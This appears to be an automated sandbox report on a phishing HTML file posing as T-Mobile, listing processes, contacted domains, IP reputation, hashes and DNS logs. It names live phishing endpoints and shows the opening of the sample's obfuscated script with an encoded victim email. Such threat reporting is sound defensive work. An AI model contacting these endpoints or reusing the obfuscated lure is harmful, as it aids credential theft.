Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,12099462955920816978,13841834187080203830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2052 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,12099462955920816978,13841834187080203830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3912 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/t.mobile(1).html

HTTP Parser: file:///C:/Users/user/Desktop/t.mobile(1).html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://6063680314-1317754460.cos.ap-bangkok.myqcloud.com/attach%2Fbootstrap.min.js	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/t.mobile(1).html	0%	Avira URL Cloud	safe
https://alex.meraviglia.it.com//google.php	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
e329293.dscd.akamaiedge.net	96.7.218.8	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
resc.cloudinary.com.cdn.cloudflare.net	104.17.202.1	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
cos.ap-bangkok.myqcloud.com	43.128.193.190	true	false	high
s-part-0013.t-0009.t-msedge.net	13.107.246.41	true	false	high
www.google.com	142.250.9.147	true	false	high
alex.meraviglia.it.com	104.21.64.1	true	false	high
aadcdn.msauthimages.net	unknown	unknown	false	high
res.cloudinary.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
6063680314-1317754460.cos.ap-bangkok.myqcloud.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Desktop/t.mobile(1).html	true	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://aadcdn.msauthimages.net/dbd5a2dd-sjbzjr1ztzcivjfllxkhohxi3desbkasabh0ljr0rlm/logintenantbranding/0/bannerlogo?ts=638551971590585405	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
http://c.pki.goog/r/r4.crl	false		high
https://6063680314-1317754460.cos.ap-bangkok.myqcloud.com/attach%2Fbootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://res.cloudinary.com/dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png	false		high
https://alex.meraviglia.it.com//google.php	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_62.3.dr, chromecache_54.3.dr	false	high
https://getbootstrap.com)	chromecache_54.3.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_62.3.dr, chromecache_54.3.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_63.3.dr	false	high
https://getbootstrap.com/)	chromecache_62.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
43.128.193.190	cos.ap-bangkok.myqcloud.com	Japan	4249	LILLY-ASUS	false
104.21.64.1	alex.meraviglia.it.com	United States	13335	CLOUDFLARENETUS	false
96.7.218.74	unknown	United States	20940	AKAMAI-ASN1EU	false
96.7.218.8	e329293.dscd.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
104.17.202.1	resc.cloudinary.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
104.17.201.1	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.9.147	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1667560
Start date and time:	2025-04-17 15:20:49 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	t.mobile(1).html
Detection:	MAL
Classification:	mal72.phis.winHTML@24/27@28/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 142.250.9.94, 74.125.21.113, 74.125.21.139, 74.125.21.102, 74.125.21.138, 74.125.21.101, 74.125.21.100, 108.177.122.113, 108.177.122.101, 108.177.122.102, 108.177.122.139, 108.177.122.138, 108.177.122.100, 64.233.176.84, 74.125.136.102, 74.125.136.139, 74.125.136.101, 74.125.136.113, 74.125.136.138, 74.125.136.100, 173.194.219.101, 173.194.219.102, 173.194.219.139, 173.194.219.100, 173.194.219.138, 173.194.219.113, 172.217.215.95, 74.125.138.101, 74.125.138.139, 74.125.138.102, 74.125.138.100, 74.125.138.113, 74.125.138.138, 64.233.177.94, 142.250.9.102, 142.250.9.101, 142.250.9.139, 142.250.9.138, 142.250.9.100, 142.250.9.113, 64.233.176.101, 64.233.176.113, 64.233.176.100, 64.233.176.139, 64.233.176.138, 64.233.176.102, 172.253.124.139, 172.253.124.113, 172.253.124.101, 172.253.124.100, 172.253.124.102, 172.253.124.138, 23.79.17.61, 20.12.23.50, 150.171.28.254, 13.107.246.41
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com, ax-ring.msedge.net, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	Details Of Our PO..exe	Get hash	malicious	FormBook	Browse	www.eczanem.shop/3ujc/
	js (10).js	Get hash	malicious	Unknown	Browse	baredaseco.pro/1.php?s=flibabc11
	NEW RFQ IMMUNOCHE JB#40044.exe	Get hash	malicious	FormBook	Browse	www.ppostealeone.shop/v25g/
	KYL-0242025E.exe	Get hash	malicious	FormBook	Browse	www.6644win.mom/hs6j/
	rMvNfCLq.exe.bin.exe	Get hash	malicious	FormBook	Browse	www.nolae-eu.shop/fgzv/?NL=C/ZTN0ZmEc67T73TXYejzaFfxzsMVB893CCje6nha4rH7EtVcHl81kdLGE91b+66ix1bC8dHSfqorsQFUwI5UDy1LqHAs9Ogp4/HoE/bzWOrp6BQYnBJsbY=&lT=KV6D1Z
	New Bulk Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.eczanem.shop/3ujc/
	SecuriteInfo.com.Win32.DropperX-gen.1559.13899.exe	Get hash	malicious	FormBook	Browse	www.tqzjixmd.biz/1kjg/
	656654564.CMD.cmd	Get hash	malicious	DBatLoader, FormBook	Browse	www.shlomi.app/9rzh/
	gwLioQ23cr.exe	Get hash	malicious	FormBook	Browse	www.meshki-co-uk.shop/gfm6/
	9Kk8DrVSS8.exe	Get hash	malicious	FormBook	Browse	www.ampmplay5000.vip/hig1/
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	https://dashboard.sizle.io/p/926fd3d8d	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://viewstripo.email/0c9144ff-af62-45ca-aff8-18711a0966441744814893534	Get hash	malicious	Unknown	Browse	104.18.10.207
	T-Mob1le Transcript.eml	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://aicreators2.com	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://documentsharefiles.s3.us-east-2.amazonaws.com/re.html#m.skowronski@kostal.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://aicreators2.com/Mountain-West/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://apex.oracle.com/pls/apex/r/capsicure/file-document/file-document	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://www.canva.com/design/DAGkrWrtDYc/rqRwWN8FmLdYxvJvAW4Uag/view?utm_content=DAGkrWrtDYc&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h5db7899ba7	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://html.ru.com/serverdata/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	ATT73273.htm	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
code.jquery.com	https://dashboard.sizle.io/p/926fd3d8d	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://myidverify.s3.us-east-1.amazonaws.com/redirect.html	Get hash	malicious	AsyncRAT, DcRat	Browse	151.101.194.137
	http://transports-bourgeoiscom-064-61924.grweb.site/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	MT103 PAYMENT COPY.docx.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	copy2.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://viewstripo.email/0c9144ff-af62-45ca-aff8-18711a0966441744814893534	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://ziviaco.com/SharePointFileProposal/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	https://r57q0mq.s3.us-east-1.amazonaws.com/index.html#?0088309007Family=b2xnYS53b2xhbmluQG15bWFuYXRlZS5vcmc=	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	2.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://4m.maiupr.es/mCy5ppt/$experience-client	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
e329293.dscd.akamaiedge.net	https://dashboard.sizle.io/p/926fd3d8d	Get hash	malicious	HTMLPhisher	Browse	96.7.218.74
	https://protective-library-f00.notion.site/1d744c95b7fb80429521fdbcdbb29501	Get hash	malicious	HTMLPhisher	Browse	96.7.218.74
	Completed_ Complete with DocuSign Salary_Increment_Letter For Danielle.watson.pdf	Get hash	malicious	HTMLPhisher	Browse	96.7.218.8
	copy2.svg	Get hash	malicious	HTMLPhisher	Browse	23.66.101.50
	https://app.plangrid.com/projects/91ea7ba4-bc30-62fa-8a2d-83d8ce243d48/staple/986fb5a5-d262-4852-8e77-52de401b6322	Get hash	malicious	HTMLPhisher	Browse	96.7.218.97
	https://cheddar-eoraptor-293.notion.site/Capps-Manufacturing-Inc-1d7d5a268d8980459e7afa1a123a178a	Get hash	malicious	HTMLPhisher	Browse	23.1.33.12
	https://cutt.ly/rrgplCYU	Get hash	malicious	HTMLPhisher	Browse	96.7.218.98
	2.htm	Get hash	malicious	HTMLPhisher	Browse	96.7.218.74
	https://app.plangrid.com/projects/2cef46e1-4c31-42eb-8982-676f3eca2ae5/staple/4d70244c-016c-4a65-a6e8-f44a56704f59	Get hash	malicious	HTMLPhisher	Browse	96.7.218.8
	https://f1034535.6341224c7ebdd72cf974b827.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	96.7.218.74

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	W4Y0TQlImf.exe	Get hash	malicious	CobaltStrike	Browse	172.64.41.3
	http://www.bgautomotive.co.uk	Get hash	malicious	Unknown	Browse	104.18.18.62
	Kipi.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	SecuriteInfo.com.Win32.MalwareX-gen.12017.6654.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	SIAD Hungary nr 43627654637_5346353636736376534567.js	Get hash	malicious	AgentTesla, Batch Injector	Browse	104.26.13.205
	https://dashboard.sizle.io/p/926fd3d8d	Get hash	malicious	HTMLPhisher	Browse	104.17.202.1
	random.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer, Njrat, Quasar	Browse	104.21.85.126
	https://campaign-statistics.com/link_click/e5ZL3B-mqJWmNn-4hlSKn/9246f534af647a666dc7b3a5d3e64604	Get hash	malicious	HTMLPhisher	Browse	104.16.150.240
	random.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer, PrivateLoader	Browse	104.22.68.199
	https://tr.ee/wljbhw	Get hash	malicious	Unknown	Browse	104.17.150.117
CLOUDFLARENETUS	W4Y0TQlImf.exe	Get hash	malicious	CobaltStrike	Browse	172.64.41.3
	http://www.bgautomotive.co.uk	Get hash	malicious	Unknown	Browse	104.18.18.62
	Kipi.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	SecuriteInfo.com.Win32.MalwareX-gen.12017.6654.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	SIAD Hungary nr 43627654637_5346353636736376534567.js	Get hash	malicious	AgentTesla, Batch Injector	Browse	104.26.13.205
	https://dashboard.sizle.io/p/926fd3d8d	Get hash	malicious	HTMLPhisher	Browse	104.17.202.1
	random.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer, Njrat, Quasar	Browse	104.21.85.126
	https://campaign-statistics.com/link_click/e5ZL3B-mqJWmNn-4hlSKn/9246f534af647a666dc7b3a5d3e64604	Get hash	malicious	HTMLPhisher	Browse	104.16.150.240
	random.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer, PrivateLoader	Browse	104.22.68.199
	https://tr.ee/wljbhw	Get hash	malicious	Unknown	Browse	104.17.150.117
CLOUDFLARENETUS	W4Y0TQlImf.exe	Get hash	malicious	CobaltStrike	Browse	172.64.41.3
	http://www.bgautomotive.co.uk	Get hash	malicious	Unknown	Browse	104.18.18.62
	Kipi.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	SecuriteInfo.com.Win32.MalwareX-gen.12017.6654.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	SIAD Hungary nr 43627654637_5346353636736376534567.js	Get hash	malicious	AgentTesla, Batch Injector	Browse	104.26.13.205
	https://dashboard.sizle.io/p/926fd3d8d	Get hash	malicious	HTMLPhisher	Browse	104.17.202.1
	random.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer, Njrat, Quasar	Browse	104.21.85.126
	https://campaign-statistics.com/link_click/e5ZL3B-mqJWmNn-4hlSKn/9246f534af647a666dc7b3a5d3e64604	Get hash	malicious	HTMLPhisher	Browse	104.16.150.240
	random.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer, PrivateLoader	Browse	104.22.68.199
	https://tr.ee/wljbhw	Get hash	malicious	Unknown	Browse	104.17.150.117

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

File type:	HTML document, ASCII text, with very long lines (65391), with CRLF line terminators
Entropy (8bit):	5.5543694992524415
TrID:	HyperText Markup Language (13008/1) 61.90% HTML Application (8008/1) 38.10%
File name:	t.mobile(1).html
File size:	131'582 bytes
MD5:	9f99d66465054cef59a0e780bf4afa76
SHA1:	ae45eb6e9f86b136b2f19730afb77b35243683b0
SHA256:	b75d8918d2e980d2c0e4b7a34d9413d5a4554c4269c31d740ff9b430745210c2
SHA512:	871d1dedf35c595ea86847703a2eddadd7b6a652c22432cae62134bfa78f1fe6906ab548b63a6e4b4029050f63491003ea49c81732afedb7ae9b245c0fdf5066
SSDEEP:	3072:opReXGbgNi3BjY3caZtwe/KhG/u+09DuNivKpAcNgBbjfR4iKX5Ug:UeXGm3caPBKhGG+t
TLSH:	2BD3239B06F1C53D8E9E9951CC312D1CBCBB8E340F78015FB9E3E987F20DA915A85689
File Content Preview:	<script>..let rh13z8jemt = 'ZHVycmlnYW5zQGFpcmJvcm4uY29t'; // Corned beef exercitation buffalo fugiat shoulder do beef ham proident pig cillum...Function("Gf1NcwC","var Hd7I7d,Qc_1BZC,s9h0H_,XsDQd2l,flZtxyJ,xzGMOl,WBc4JWC,lSmZMr0,MVgbSn8,jhcAar,Ggm8cC,R8u

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 17, 2025 15:21:44.248656034 CEST	53	58909	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:44.328694105 CEST	53	53907	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:45.266329050 CEST	53	63333	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:45.444075108 CEST	53	60740	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:48.346105099 CEST	62511	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:48.346105099 CEST	59535	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:48.452966928 CEST	53	62511	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:48.453551054 CEST	53	59535	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:49.765480042 CEST	49659	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:49.765678883 CEST	52562	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:49.766469955 CEST	63208	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:49.766627073 CEST	56664	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:49.767134905 CEST	54441	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:49.767741919 CEST	65299	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:49.769448996 CEST	53277	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:49.769577026 CEST	52671	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:49.769913912 CEST	65533	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:49.770030975 CEST	63644	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:49.872601032 CEST	53	49659	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:49.872621059 CEST	53	52562	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:49.872977018 CEST	53	56664	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:49.873255014 CEST	53	63208	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:49.873774052 CEST	53	54441	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:49.874257088 CEST	53	65299	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:49.875273943 CEST	53	64677	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:49.877453089 CEST	53	53277	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:49.916559935 CEST	53	52671	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:50.434088945 CEST	53	65533	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:50.558872938 CEST	53	63644	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:53.438057899 CEST	50964	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:53.438281059 CEST	58889	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:53.444766998 CEST	58923	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:53.444969893 CEST	61169	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:53.551803112 CEST	53	58923	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:53.552685022 CEST	53	61169	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:53.560847044 CEST	53	50964	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:53.596590996 CEST	53	58889	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:54.082278013 CEST	52318	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:54.082463026 CEST	63423	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:54.189205885 CEST	53	52318	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:54.190392017 CEST	53	63423	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:58.772495985 CEST	53358	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:58.772644997 CEST	51731	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:21:58.901329994 CEST	53	53358	1.1.1.1	192.168.2.5
Apr 17, 2025 15:21:58.930229902 CEST	53	51731	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:01.800074100 CEST	61559	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:22:01.800074100 CEST	51059	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:22:01.907351017 CEST	53	51059	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:01.909702063 CEST	53	61559	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:02.355043888 CEST	53097	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:22:02.355423927 CEST	55542	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:22:02.462728024 CEST	53	53097	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:02.468686104 CEST	53	55542	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:02.479459047 CEST	53	60340	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:03.038157940 CEST	63415	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:22:03.039144039 CEST	59757	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:22:03.146934986 CEST	53	63415	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:03.188935041 CEST	53	59757	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:03.756865978 CEST	63561	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:22:03.757052898 CEST	65058	53	192.168.2.5	1.1.1.1
Apr 17, 2025 15:22:03.866492033 CEST	53	65058	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:03.899554968 CEST	53	63561	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:21.197822094 CEST	53	51091	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:41.976310968 CEST	138	138	192.168.2.5	192.168.2.255
Apr 17, 2025 15:22:44.082362890 CEST	53	56089	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:44.173331976 CEST	53	64721	1.1.1.1	192.168.2.5
Apr 17, 2025 15:22:46.279215097 CEST	53	51871	1.1.1.1	192.168.2.5
